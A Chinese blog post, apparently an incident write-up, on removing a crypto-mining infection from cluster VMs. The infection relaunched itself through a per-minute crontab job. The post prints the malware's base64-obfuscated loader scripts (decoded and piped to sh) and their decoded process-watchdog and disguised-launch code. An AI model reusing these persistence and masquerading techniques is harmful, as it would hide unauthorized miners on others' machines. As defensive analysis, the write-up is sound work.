异常进程“ld-linux-x86-64”引发的一次集群遭到黑客攻击问题的解决
一、现象:平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。二、探索:安装杀毒软件clamav1040 yum install clamd -y 1043 freshclam 1049 service clamd sta...
一、现象:
平台集群中的虚拟机,存在异常进程“ld-linux-x86-64”,占用了大量cpu资源。其次,重启虚拟机之后,虚拟机的操作系统ROOT用户密码会被修改,初步判断原因为被黑客攻击。
二、探索:
安装杀毒软件clamav
1040 yum install clamd -y 1043 freshclam 1049 service clamd start 1052 chkconfig clamd on 1053 clamdscan -V 1054 clamscan -r / --move=/tmp 附clamscan命令参数说明: 1、 全盘扫描:# clamscan -r / 2、 扫描到病毒后立即删除(慎用):# clamscan -r / --remove 3、 扫描到病毒后立即移动到/tmp目录:# clamscan -r / --move=/tmp 4、 生成扫描日志文件:# clamscan/tmp/1.txt -l /var/log/clamscan.log 5、 常用选项: (1) --quiet:只打印错误信息 (2) -i | --infected:只打印被感染的文件 (3) --remove[=yes/no(*)]:移除被感染的文件 (4) --move=DIRECTORY:将被感染的文件移至指定目录 (5) --copy=DIRECTORY:将被感染的文件复制至指定目录 (6) --exclude=REGEX:不扫描与正则表达式匹配的文件 (7) --exclude-dir=REGEX:不扫描与正则表达式匹配的目录 (8) --include=REGEX:只扫描与正则表达式匹配的文件 (9) --include-dir=REGEX:只扫描与正则表达式匹配的目录 |
-----------扫描摘要-----------
已知病毒:6778248
发动机版本:0.100.2
扫描目录:24595
扫描文件:136784
受感染的文件:3
总错误:6043
扫描数据:8724.49 MB
数据读取:8392.82 MB(比率1.04:1
---------------------------------
删除感染文件之后,问题依然在,暂时排除病毒的可能。
三、突破:
由于问题进程杀了又起来,换言之“杀不死”,那么一定有程序在监控并拉起它。最简单的实现方式就是利用Linux系统的“crontab”了。Crontab定时器通常用来执行定时任务或周期性任务,使用起来简单方便。于是随手检查了一下定时任务列表,终端键入命令“crontab -l”,发现:
* * * * * /sbin/upd >/dev/null 2>&1
意思是:/sbin/upd脚本每分钟执行一次,执行的返回内容不输出到控制台。
脚本内容是:
#!/usr/bin/env bash echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh |
显然,这是一个加密了的脚本,根据后面的“bash64 -di”
意思应该是用bash64编码方式解码,再后面的“sh”,意思是执行 解码后的内容。
清理相关文件:
1.清除定时器中的定时任务
2.杀掉异常进程
3.删掉分析出的所有涉及脚本及可执行文件
rm -rf /sbin/upd
rm -rf /sbin/initct1
rm -rf /sbin/mke3fs
rm -rf /sbin/s1n
rm -rf /sbin/ld-linux-x86-64.so.2
rm -rf /sbin/libpthread.so.1
4.修改root用户密码
四、分析:
涉及的脚本
1)/sbin/upd
脚本原文
#!/usr/bin/env bash
echo 'IyEvYmluL3NoCmlmIHRlc3QgLXIgL3NiaW4vaW5pdGN0MTsgdGhlbgpwaWQ9JChjYXQgL3NiaW4v
aW5pdGN0MSkKaWYgJChraWxsIC1DSExEICRwaWQgPi9kZXYvbnVsbCAyPiYxKQp0aGVuCnNsZWVw
IDEKZWxzZQpjZCAvc2JpbgouL21rZTNmcyAmPi9kZXYvbnVsbApleGl0IDAKZmkKZmkK' | base64 -di | sh
脚本解码后的真实内容
#!/bin/sh
if test -r /sbin/initct1; then
pid=$(cat /sbin/initct1)
if $(kill -CHLD $pid >/dev/null 2>&1)
then
sleep 1
else
cd /sbin
./mke3fs &>/dev/null
exit 0
fi
fi
功能:
进程守护
2)/sbin/upd
脚本原文
#!/usr/bin/env bash
echo 'IyEvYmluL2Jhc2gKLi9zMW4gLXMgIi1iYXNoIiAtcCBpbml0Y3QxIC4vbGQtbGludXgteDg2LTY0
LnNvLjIgLS1saWJyYXJ5LXBhdGggLiAuL2xpYnB0aHJlYWQuc28uMSA+Pi9kZXYvbnVsbCAmCg==' | base64 -di | sh
脚本解码后的真实内容
#!/bin/bash
./s1n -s "-bash" -p initct1 ./ld-linux-x86-64.so.2 --library-path . ./libpthread.so.1 >>/dev/null &
功能:
实现主功能(挖矿以及其他不可说的任务)
3)/sbin/initct1
功能:用来存放 进程ID。
可执行文件
/sbin/s1n |
/sbin/ld-linux-x86-64.so.2 |
/sbin/libpthread.so.1 |
更多推荐
所有评论(0)